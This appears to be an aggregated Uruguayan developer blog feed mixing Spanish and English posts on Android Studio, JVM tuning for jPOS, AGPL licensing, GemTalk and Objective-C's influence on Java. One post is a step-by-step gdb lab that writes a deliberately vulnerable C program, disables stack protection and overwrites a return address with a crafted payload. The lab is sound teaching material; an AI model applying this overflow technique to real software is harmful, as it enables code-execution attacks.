DevelUY

He dejado de escribir en este blog. Tras más de 3 años de posts, tutoriales e imágenes que comenzaron en Blogger, luego pasaron por LinuxUruguay y finalmente concluyeron aquí en Algorithmia, vamos a dar por cerrado este capítulo.

Mi nuevo blog es alejandrosegovia.net, donde he comenzado a escribir en Inglés para poder alcanzar una audiencia mayor. Voy a mantener este sitio activo para que se pueda seguir accediendo a los tutoriales que hemos recolectado a través de los años, quizás a alguien le resulten útiles en algún momento.

¡Gracias por acompañarnos todo este tiempo!

Saludos,
Varrojo.-

Ayer en Google IO 2013, una de las presentaciones fue Android Studio, el nuevo IDE propuesto por Google para desarrollar aplicaciones Android, que viene en sustitución de Eclipse + ADT Plugin.

Android Studio nos brinda en este Entorno Integrado de Desarrollo (IDE) herramientas para desarrollar y depurar aplicaciones Android entre otras funciones como compilación, emulación de dispositivos, refactoring, wizards para crear diseños y componentes, editor de pantalla que permite arrastrar y soltar componentes, previsualizar el diseño en multiples configuraciones de pantalla.

Tor Norbye nos da un rápido vista de Android Studio, el nuevo IDE basado en la edición Community de IntelliJ.

Pinche aquí para ver el vídeo

Novedades del Android Studio

Pinche aquí para ver el vídeo

Descargar Android Studio

http://developer.android.com/sdk/installing/studio.html

Post original de: Jorge Oyhenard

Android Studio nueva herramienta para Desarrolladores Android

Android Studio nueva herramienta para Desarrolladores Android | Jorge Oyhenard

• El UC tiene buena performance ? Escala correctamente?
• Soporta la cantidad de usuarios que tengo que manejar?
• Cuantas veces lo voy a usar/invocar por dia?
• Transmite mucha información/Usa mucho ancho de banda?

• Tengo a quien llamar?. Responden en un tiempo aceptable? 
• Tengo alternativas de sustitución?
• Puedo anular su funcionamiento y la aplicación puede seguir funcionando?

• Cuando sale una nueva versión, debo instalarla?
• Se la debo instalar a mi cliente?
• Como pruebo mi aplicación cuando hay una nueva versión de alguno de los UC que utilizo?

/by @apr/

jPOS applications have a very low memory footprint, so we usually are fine running a simple

java -server -jar jpos.jar

But for applications more memory intensive (due to caching), such as jCard, the stop-the-world Full GC becomes a problem, freezing the JVM for as much as 5 seconds, or more.

If your response time is usually good but from time to time you have an inexplicable spike, I suggest you add:

-Xloggc:log/gc.log

that will create a nice log file that you can tail -f to get some insight into the JVM GC whereabouts.

If you see too many Full GCs, it’s time to dig deeper. First thing to check is your -Xmx. If you set a -Xmx parameter which is high (say 1GB) but you don’t set -Xms with the same value, the JVM will try to bring down the memory in use, even if you are not reaching the max value, causing frequent Full GCs. You may want to try:

Xmx1G -Xms1G

and check how the gc.log goes.

If that solves the problem, leave the JVM default options alone, you’re done for now. If that doesn’t solve your problem I suggest you change your GC implementation. My choice is the Concurrent Mark Sweep GC implementation that you can enable using:

-XX:+UseConcMarkSweepGC -XX:+CMSIncrementalMode

This will probably solve your problem, but while you are at it, I suggest some of these:

jPOS’ Q2 forces a full GC (calling System.gc()) when re-deploying jars in the deploy/lib directory. You could be using RMI that also initiates a distributed GC calling System.gc() too, or an operator could be fascinated by the GC button in his JMX console, so you want to prevent a Full GC in those situations, you do that using:

-XX:+ExplicitGCInvokesConcurrentAndUnloadsClasses

If you care about processing transactions fast after a restar, you may set:

-XX:+TieredCompilation

and to get some latest JVM optizations:

-XX:+AggressiveOpts

The full list of my jCard JAVA_OPTS p0rn is:

java -server \
    -Dappname=jCard \
    -Dcom.sun.management.jmxremote \
    -Xloggc:log/gc.log \
    -Xmx1G -Xms1G \
    -XX:+ExplicitGCInvokesConcurrentAndUnloadsClasses \
    -XX:+UseConcMarkSweepGC -XX:+CMSIncrementalMode \
    -XX:+UseCMSInitiatingOccupancyOnly \
    -XX:+CMSClassUnloadingEnabled \
    -XX:+CMSScavengeBeforeRemark \
    -XX:+AggressiveOpts \
    -XX:+ParallelRefProcEnabled \
    -XX:+TieredCompilation \
    -jar jcardinternal-2.0.0-SNAPSHOT.jar "$@"

References: – Java Performance – Java SE 6 HotSpot[tm] Virtual Machine Garbage Collection Tuning

Hoy viví una situación que me hizo acordar a una historia sobre las navajas suizas, que escuché hace tiempo, cuya veracidad no dudo pero tampoco puedo dar fe.

Un periodista entrevistaba al director de ventas para Estados Unidos de la marca Victorinox (reconocida por ser navajas suizas originales).

La entrevista iba bien pero el periodista sentía que no estaba siendo suficientemente incisivo con el entrevistado así que tiró una pregunta que podía ser urticante:

¿Qué piensa ud acerca de que se vendan 5 millones de navajas suizas de fabricación china por año en EEUU por la cuarta parte del precio de una Victorinox, las cuales se venden mucho menos?

El director contestó: mire, la entrada de la versión china popularizó las navajas “suizas” como regalos para hombres. Antes de que los chinos vendieran navajas suizas nuestras ventas eran de 0.4 o 0.5 millones de navajas por año, hoy que existen las chinas nuestras ventas son de 1.2 millones por año, por lo cual estoy muy feliz de que vendan esas navajas. Siempre habrá quien sepa apreciar la diferencia.

(nota: los números no son exactos, pero estaban en el orden)

We recently added a new small but useful feature to the SystemMonitor, the ability to run external scripts.

Here is an example:

<sysmon logger="Q2">
 <attr name="sleepTime" type="java.lang.Long">3600000</attr>
 <attr name="detailRequired" type="java.lang.Boolean">true</attr>
 <property name="script" value="uname -a" />
 <property name="script" value="id" />
 <property name="script" value="pwd" />
 <property name="script" value="uptime" />
 <property name="script" value="vm_stat" />
 <property name="script" value="jps -l" />
</sysmon>

output looks like this:

<log realm="org.jpos.q2.qbean.SystemMonitor" at="Fri May 10 10:04:08 UYT 2013.700">
  <info>
               OS: Mac OS X
             host: alejandro-revillas-macbook-pro.local/192.168.1.110
          version: 1.9.1-SNAPSHOT (8a4a517)
         instance: bac8e399-ccf2-4778-97df-d37d704bb011
           uptime: 00:00:08.877
       processors: 8
           drift : 0
    memory(t/u/f): 989/177/812
          threads: 56
            Thread[Reference Handler,10,system]
            Thread[Finalizer,8,system]
            Thread[Signal Dispatcher,9,system]
            Thread[RMI TCP Accept-0,5,system]
            Thread[Keep-Alive-Timer,8,system]
            Thread[Q2-bac8e399-ccf2-4778-97df-d37d704bb011,5,main]
            Thread[DestroyJavaVM,5,main]
            Thread[Timer-0,5,main]
            Thread[pool-1-thread-1,5,main]
            Thread[DefaultQuartzScheduler_Worker-1,5,main]
            Thread[DefaultQuartzScheduler_Worker-2,5,main]
            Thread[DefaultQuartzScheduler_Worker-3,5,main]
            ...
            ...
            ...
            Thread[PooledThread-0,5,ThreadPool-0-1]
            Thread[PooledThread-1,5,ThreadPool-2-3]
    name-registrar:
      txnmgr: org.jpos.transaction.TransactionManager
      logger.: org.jpos.util.Logger
      tspace:default: org.jpos.space.TSpace
        <key count='1'>$TAILLOCK.1878750663</key>
        <keycount>0</keycount>
        <gcinfo>0,0</gcinfo>

      logger.Q2.buffered: org.jpos.util.BufferedLogListener
      server.jcard-server: org.jpos.iso.ISOServer
        connected=0, rx=0, tx=0, last=0
      ssm: org.jpos.security.jceadapter.SSM
      jcard-xml-server: org.jpos.q2.iso.QServer
      tspace:org.jpos.transaction.TransactionManager@6ffb75c7: org.jpos.space.TSpace
        <key count='1'>$HEAD</key>
        <key count='1'>$TAIL</key>
        <keycount>1</keycount>
        <gcinfo>0,0</gcinfo>

      capture-date: org.jpos.ee.CaptureDate
      server.jcard-xml-server: org.jpos.iso.ISOServer
        connected=0, rx=0, tx=0, last=0
      ks: org.jpos.security.SimpleKeyFile
      logger.Q2: org.jpos.util.Logger
      jcard-server: org.jpos.q2.iso.QServer
    uname -a:
      Darwin alejandro-revillas-macbook-pro.local 11.4.2 Darwin Kernel Version 11.4.2: Thu Aug 23 16:25:48 PDT 2012; root:xnu-1699.32.7~1/RELEASE_X86_64 x86_64
    id:
      uid=502(apr) gid=20(staff) groups=20(staff),401(com.apple.access_screensharing),12(everyone),33(_appstore),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),100(_lpoperator),204(_developer)
    pwd:
      /Users/apr/git/jcardinternal/build/install/jcardinternal
    uptime:
      10:04  up 8 days, 14:45, 5 users, load averages: 1.26 1.17 1.35
    vm_stat:
      Mach Virtual Memory Statistics: (page size of 4096 bytes)
      Pages free:                           4494.
      Pages active:                       552609.
      Pages inactive:                     271878.
      Pages speculative:                     245.
      Pages wired down:                   216855.
      "Translation faults":            116355062.
      Pages copy-on-write:               5347593.
      Pages zero filled:                52951322.
      Pages reactivated:                 2098799.
      Pageins:                           3732245.
      Pageouts:                           467375.
      Object cache: 73 hits of 543605 lookups (0% hit rate)
    jps -l:
      14371 sun.tools.jps.Jps
      12512 org.gradle.launcher.daemon.bootstrap.GradleDaemon
      14365 jcardinternal-2.0.0-SNAPSHOT.jar
  </info>
</log>

You can have handy vmstat 1 30 as a default so that you can get an idea of the overall system performance when you get a high ‘drift’ (drift is the new name for the old ‘elapsed’ info).

Paso 1: Crear un programa de pruebas en C, con una vulnerabilidad de buffer overflow intencional.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
int function(char* par);
 
int main(int argc, char* argv[]){
	int return_value = function(argv[1]);
	return 0;
}
 
int function(char* par){
	char localbuff[10];
	memcpy(localbuff, par, strlen(par));
	return 1;
}

Paso 2: Compilarlo eliminando expresamente la protección contra el smash del stack.

gcc -fno-stack-protector -g -o attacking_the_stack.o attacking_the_stack.c

Paso 3: Tirarlo a correr en el gdb.

gdb attacking_the_stack.o

Paso 4: Setear los parámetros del ejecutable (veneno).

(gdb) set args "$(echo -e '\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x18\x84\x04\x08')"

Se puede ver allí cuál va a ser la nueva “return address” de la llamada a la función: 0×08048418 (están al revés por el little-endian con que son guardados los valores en la memoria volátil). Pisaremos la return address original del stack con esta nueva.

Paso 5: Seteamos el breakpoint y a correr.

(gdb) break 8
(gdb) run

Starting program: /root/c/exploiting/attacking_the_stack.o "$(echo -e '\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x18\x84\x04\x08')"

Breakpoint 1, main (argc=2, argv=0xbffff404) at attacking_the_stack.c:9
9		int return_value = function(argv[1]);
(gdb) stepi
0x08048400	9		int return_value = function(argv[1]);
(gdb) stepi
0x08048403	9		int return_value = function(argv[1]);
(gdb) stepi
0x08048405	9		int return_value = function(argv[1]);
(gdb) stepi
0x08048408	9		int return_value = function(argv[1]);

Hasta aquí, hemos ejecutado el main y hemos hecho la call a la función “function”.

Paso 6: analizamos el stack de la función “function” antes de corromperlo

(gdb) stepi
function (par=0xbffff59e "\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\030\204\004\b")
    at attacking_the_stack.c:14
14	int function(char* par){
(gdb) step
18		memcpy(localbuff, par, strlen(par));
(gdb) x/30x $esp
0xbffff300:	0x00237e79	0x0015e785	0xbffff318	0x00145ae5
0xbffff310:	0x00000000	0x08049ff4	0xbffff328	0x080482e0
0xbffff320:	0x0011eb60	0x08049ff4	0xbffff358	0x0804840d
0xbffff330:	0xbffff59e	0x00287ff4	0x08048460	0xbffff358
0xbffff340:	0x0015e985	0x0011eb60	0x0804846b	0x00287ff4
0xbffff350:	0x08048460	0x00000000	0xbffff3d8	0x00145ce7
0xbffff360:	0x00000002	0xbffff404	0xbffff410	0xb7fff928
0xbffff370:	0xbffff4b8	0xffffffff

Lo que marqué con negrita es la return address original. Para arriba de eso (en el stack) están las variables locales (la que vamos a desbordar justamente).

Paso 7: ejecutamos hasta el desborde

(gdb) step
0x001a3700 in strlen () from /lib/libc.so.6
(gdb) step
Single stepping until exit from function strlen,
which has no line number information.
0x001a4f10 in memcpy () from /lib/libc.so.6
(gdb) step
Single stepping until exit from function memcpy,
which has no line number information.
function (par=0xbffff59e "\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\030\204\004\b")
    at attacking_the_stack.c:20
20		return 1;

Paso 8: analizamos el stack después del desborde

(gdb) x/30x $esp
0xbffff300:	0xbffff316	0xbffff59e	0x0000001a	0x00145ae5
0xbffff310:	0x00000000	0x90909ff4	0x90909090	0x90909090
0xbffff320:	0x90909090	0x90909090	0x90909090	0x08048418
0xbffff330:	0xbffff59e	0x00287ff4	0x08048460	0xbffff358
0xbffff340:	0x0015e985	0x0011eb60	0x0804846b	0x00287ff4
0xbffff350:	0x08048460	0x00000000	0xbffff3d8	0x00145ce7
0xbffff360:	0x00000002	0xbffff404	0xbffff410	0xb7fff928
0xbffff370:	0xbffff4b8	0xffffffff

Se puede ver en negrita como se reemplazó la return address original por la nueva. Hacia arriba en el stack se pueden ver los restos de la variable local desbordada, rellenada con bytes 0×90.

Paso 9: los siguientes tres bloques van a mostrar como se mueve el instruction pointer (EIP) con estos cambios

(gdb) disass function
Dump of assembler code for function function:
   0x08048418 +0>:	push   %ebp
   0x08048419 +1>:	mov    %esp,%ebp
   0x0804841b +3>:	sub    $0x28,%esp
   0x0804841e +6>:	mov    0x8(%ebp),%eax
   0x08048421 +9>:	mov    %eax,(%esp)
   0x08048424 +12>:	call   0x8048324 
   0x08048429 +17>:	mov    %eax,0x8(%esp)
   0x0804842d +21>:	mov    0x8(%ebp),%eax
   0x08048430 +24>:	mov    %eax,0x4(%esp)
   0x08048434 +28>:	lea    -0x12(%ebp),%eax
   0x08048437 +31>:	mov    %eax,(%esp)
   0x0804843a +34>:	call   0x8048314 
=> 0x0804843f +39>:	mov    $0x1,%eax
   0x08048444 +44>:	leave
   0x08048445 +45>:	ret
End of assembler dump.

(gdb) step
22	}
(gdb) disass function
Dump of assembler code for function function:
   0x08048418 +0>:	push   %ebp
   0x08048419 +1>:	mov    %esp,%ebp
   0x0804841b +3>:	sub    $0x28,%esp
   0x0804841e +6>:	mov    0x8(%ebp),%eax
   0x08048421 +9>:	mov    %eax,(%esp)
   0x08048424 +12>:	call   0x8048324 
   0x08048429 +17>:	mov    %eax,0x8(%esp)
   0x0804842d +21>:	mov    0x8(%ebp),%eax
   0x08048430 +24>:	mov    %eax,0x4(%esp)
   0x08048434 +28>:	lea    -0x12(%ebp),%eax
   0x08048437 +31>:	mov    %eax,(%esp)
   0x0804843a +34>:	call   0x8048314 
   0x0804843f +39>:	mov    $0x1,%eax
=> 0x08048444 +44>:	leave  
   0x08048445 +45>:	ret
End of assembler dump.

(gdb) step
function (par=0x287ff4 "|\215\025") at attacking_the_stack.c:14
14	int function(char* par){
(gdb) disass function
Dump of assembler code for function function:
=> 0x08048418 +0>:	push   %ebp
   0x08048419 +1>:	mov    %esp,%ebp
   0x0804841b +3>:	sub    $0x28,%esp
   0x0804841e +6>:	mov    0x8(%ebp),%eax
   0x08048421 +9>:	mov    %eax,(%esp)
   0x08048424 +12>:	call   0x8048324 
   0x08048429 +17>:	mov    %eax,0x8(%esp)
   0x0804842d +21>:	mov    0x8(%ebp),%eax
   0x08048430 +24>:	mov    %eax,0x4(%esp)
   0x08048434 +28>:	lea    -0x12(%ebp),%eax
   0x08048437 +31>:	mov    %eax,(%esp)
   0x0804843a +34>:	call   0x8048314 
   0x0804843f +39>:	mov    $0x1,%eax
   0x08048444 +44>:	leave
   0x08048445 +45>:	ret
End of assembler dump.

/by @apr thinking out loud/

We moved jPOS to the AGPL license about six years ago, in hindsight I’d like to share my thoughts about the move.

• The AGPL is a good license, perfect for our project, if people were to read it.
• It is based on the honor system, but nobody cares about honor these days unless honor is enforced someway or another.
• My perception is that for a large number of developers, OpenSource is the same as Free Software, Apache license is the same as GPL, LGPL, AGPL, MPL, Potatoes, Potatos, same thing.

We used to sell commercial licenses under the jPOS PEP which is a combination of license+coaching/hand-holding. Participants get it for the hand-holding part, they rarely care to get a signed agreement, we need to push to get them signed. [UPDATE: we are not accepting new PEP members as of August/2010] We have some true license purchases, those come either from large companies with large legal teams reviewing every license or from companies being purchased/merged doing due-diligence procedures

The downside of a license like this is IMHO:

• People not willing to release their code under a compatible license (that’s probably 100% of our users) and not willing to purchase a commercial license (that’s about 99.96% according to our guestimates) feel guilty and go dark, never participate, never contribute code, and limit themselves to ask questions under public e-mail addresses with lots of numbers in it. They know they are free riders and nobody is proud of that, so they hide.
• Some open source power users and projects know the license is somehow restrictive, so if they can, they avoid it.

So my belief now is that the AGPL just slows down a project like ours. It’s probably perfect for a larger organization with the ability to go to the street and enforce it, but this is not our case, we don’t have the resources nor the willing to do so. That said, it’s still the best fit for us, so we’ll stick to it for the time being.

http://gemtalksystems.com/index.php/about-us/for-the-press/

BEAVERTON OR, May 2, 2013 — GemTalk Systems today announced it has acquired the VMware GemStone/S platform for developing, deploying and managing mission-critical Smalltalk-based applications. Financial terms of the transaction were not disclosed.

GemTalk Systems anuncia que ha comprado todos los productos GemStone/S a VMWare.

La nueva empresa GemTalk Systems se dedica exclusivamente a Smalltalk mediante su producto GemStone/S.

http://gemtalksystems.com/

http://gemtalksystems.com/index.php/to-our-customers/

http://gemtalksystems.com/index.php/to-our-customers/faq-transition/

Objective-C, image taken from bigspaceship.com.

I’ve been meaning to write about this for a while. It’s something that comes up rather frequently at work, so I though I’d write it down to organize what’s on my mind.

Contrary to what many may think, the Java and C# languages are not based on C++ as much as on Objective-C. Indeed, Objective-C was a big influence in the design of the Java programming language. And since C# 1.0 was basically Microsoft’s Java, we shall consider it another derived language too.

So, why do people think of Java as a C++-derived language? Java was built on C++’s syntax, this is why Java code “looks like” C++ code. Java’s semantics, however, are heavily based on Objective-C’s.

Some Java and C# features borrowed directly from Objective-C include:

• Dynamic binding.
• Dynamic loading.
• Single inheritance.
• Interfaces (called “protocols” in Objective-C).
• Large runtime.
• “Class” objects.
• Reflection.
• Objects cannot be allocated in the stack.
• Garbage Collection (deprecated in Objective-C).
• All methods virtual by default (Java).
• Properties (C#).
• int, float, double, etc. wrapper classes.

Patrick Naughton, one of the original designers of the Java programming language, confirms this story in this discussion on usenet:

Usually, this kind of urban legend stuff turns out to be completely inaccurate, but in this case, they are right on. When I left Sun to go to NeXT, I thought Objective-C was the coolest thing since sliced bread, and I hated C++. So, naturally when I stayed to start the (eventually) Java project, Obj-C had a big influence. James Gosling, being much older than I was, he had lots of experience with SmallTalk and Simula68, which we also borrowed from liberally.

The other influence, was that we had lots of friends working at NeXT at the time, whose faith in the black cube was flagging. Bruce Martin was working on the NeXTStep 486 port, Peter King, Mike Demoney, and John Seamons were working on the mysterious (and never shipped) NRW (NeXT RISC Workstation, 88110???). They all joined us in late ’92 – early ’93 after we had written the first version of Oak. I’m pretty sure that Java’s ‘interface’ is a direct rip-off of Obj-C’s ‘protocol’ which was largely designed by these ex-NeXT’ers… Many of those strange primitive wrapper classes, like Integer and Number came from Lee Boynton, one of the early NeXT Obj-C class library guys who hated ‘int’ and ‘float’ types.

So, next time you look at Objective-C thinking how weird its syntax looks, remember this story and consider how much it influenced the programming language landscape.

We are committed to maintaining your confidence and trust, and recognize your right to keep your personal information private. We maintain the following privacy policy to protect personal information you provide:

Basic Privacy Policy
The application does not store any personal information at any time. If you share personal information, such as your username, Live ID, IP or email address, we will keep this information private and confidential. We will use this information only to save the application settings and progress across multiple platforms or installations.
Information collected during the use of the application
All remotely stored information will only be used for the purpose of determining the most popular features, and to determine what to develop later.
We do Not share information with third parties
Personal information and usage statistics of the application will not be given to third parties, except as necessary to fulfill the purpose for which you provide your information, or legally required, as in the case of an investigation of an offense criminal serving a search warrant.